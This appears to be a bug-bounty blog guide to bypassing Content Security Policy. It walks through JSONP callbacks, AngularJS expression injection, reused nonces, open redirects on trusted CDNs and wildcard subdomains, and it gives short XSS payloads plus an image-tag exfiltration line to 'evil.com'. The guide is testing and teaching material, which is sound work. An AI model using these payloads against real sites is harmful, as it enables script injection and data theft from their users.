🔓 Content Security Policy Bypasses for Web Application Testing
CSP Is Dead, Long Live CSP
Content Security Policy was supposed to be the browser’s seatbelt. A declarative way to tell the browser, “Hey, don’t run random junk from shady domains.” The idea? Simple. Developers define which domains can load scripts, styles, images, etc. Browsers enforce it. XSS dies. Internet saved.
Didn’t happen.
Instead, we got a half-baked standard that breaks more legit features than attacks. Most developers fight CSP like a hydra. Cut off one error, three more pop up. So they throw in unsafe-inline, bless five CDNs they don’t control, and pray it “just works.”
Spoiler: it doesn’t.
Bug bounty hunters don’t rely on prayer. They exploit the cracks. Because CSP isn’t a wall, it’s a suggestion. A very polite, often misinterpreted suggestion. And the web is full of sites listening to it wrong.
This guide isn’t for rookies. We’re not here to explain what a nonce is or why eval() is bad. We’re here to break things, chain bugs, and turn weak CSP into full XSS wins.
Let’s go.
1. What CSP Actually Does (and Doesn’t Do)
CSP’s job is simple: tell the browser where it’s safe to load stuff from. JavaScript, CSS, images, frames, fonts, you name it. The problem? Developers treat it like a magic amulet. Write the spell wrong, and it backfires.
Let’s break down the usual suspects:
-
default-srcThe fallback. If you don’t specify
script-src,img-src, etc., this one kicks in. Many sites just throw a wildcard here. Oops. -
script-srcControls where scripts can load from. Think of it as the XSS gatekeeper. If this is loose, everything else is a bandaid on a bullet wound.
-
unsafe-inlineThe nuclear option. Allows inline
<script>tags. Instant bypass. It’s like locking your door but handing out copies of the key. -
unsafe-evalLets scripts call
eval()and similar. Dangerous, but sadly still used by frameworks like Angular and some analytics tools. -
nonce-abc123/sha256-xyz==These whitelist specific inline scripts. Done right, it’s solid. But if the nonce is reused or predictable, attackers just mimic it.
-
connect-src,frame-src,img-src, etc.These get ignored until they matter. Like when you exfil data via
<img>or inject HTML into a whitelisted iframe.
🧠 Real Talk: CSP Is Only as Smart as Its Author
CSP doesn’t block XSS. It just limits what an XSS can do. You land a DOM XSS? CSP might stop you from loading your external payload. But:
- If there’s an open redirect on a trusted CDN? You’re back in.
- If the nonce is static or leaked in the DOM? You’re good.
- If inline scripts are allowed? Game over.
Most sites roll out CSP like it’s checkbox security. Copy-pasted, overly permissive, and silently broken.
And that’s our in.
2. Bypass #1: JSONP, AngularJS, and Old Frameworks
Legacy code is free money.
🔹 JSONP
JSONP is a relic. It loads JavaScript via <script> tags. If a domain is whitelisted in CSP and has a JSONP endpoint, you can often run JS directly:
1
https://trusted-cdn.com/api?callback=alert(1)
Boom. Inline XSS with full CSP protection.
🔹 AngularJS
Old Angular is a goldmine. Sites using versions <1.6 are vulnerable to expression injection via templates. Combine that with CSP that allows unsafe-inline, or a trusted Angular CDN, and you’re in.
Payload:
1
{{constructor.constructor('alert(1)')()}}
If they’re using sandboxed Angular on a subpage and trusting a CDN for the framework? You’ve got a chain.
3. Bypass #2: Nonces, Hashes, and Dev Mistakes
Nonces are supposed to be random and per-request. But in the wild?
- Developers hardcode them.
- They don’t rotate per request.
- They reuse the same nonce across pages.
If you can read the DOM (via reflected XSS or HTML injection), and you see:
1
<script nonce="abc123">
Congrats. Steal the nonce, reuse it in your malicious script, and CSP won’t care.
Bonus fail: sometimes the nonce is printed in a comment.
1
<!-- CSP nonce: abc123 -->
Whoops.
4. Bypass #3: Open Redirects + Trusted CDNs
CSP loves trusted sources. But if those sources have open redirects, you can smuggle payloads past the filter.
Example:
1
Content-Security-Policy: script-src https://trusted-cdn.com
If trusted-cdn.com/redirect?next=evil.com/payload.js forwards as a 302, your script gets through.
Also watch for JSONP or script loaders that pull content based on URL fragments or params.
5. Bypass #4: Service Workers, Subdomain XSS, Side Channels
CSP doesn’t stop everything.
🔹 Service Workers
If you control a subdomain and can register a service worker? You can intercept and inject responses. CSP doesn’t stop you once the SW is registered.
🔹 XSS on Subdomains
If CSP uses a wildcard like *.example.com and you pop a lower subdomain (e.g., dev.example.com), you can load malicious scripts that are CSP-approved.
🔹 Side-Channels
When all else fails, exfiltrate via <img src="evil.com/leak?data=...">, <link> tags, or even timing-based fingerprinting.
6. Tools & Payloads for CSP Testing
- CSP Evaluator (Google) – Checks for misconfigurations.
- csp-bypass – GitHub repo of payloads + bypass chains.
- Burp Suite Extensions – CSP Auditor, CSP Bypass.
7. Final Thoughts: CSP Bypass ≠ XSS Win (But It Helps)
CSP won’t save a broken app. It’s guard rails — not brakes.
Think like a hacker. Chain small weaknesses. Abuse what’s already trusted. Break assumptions.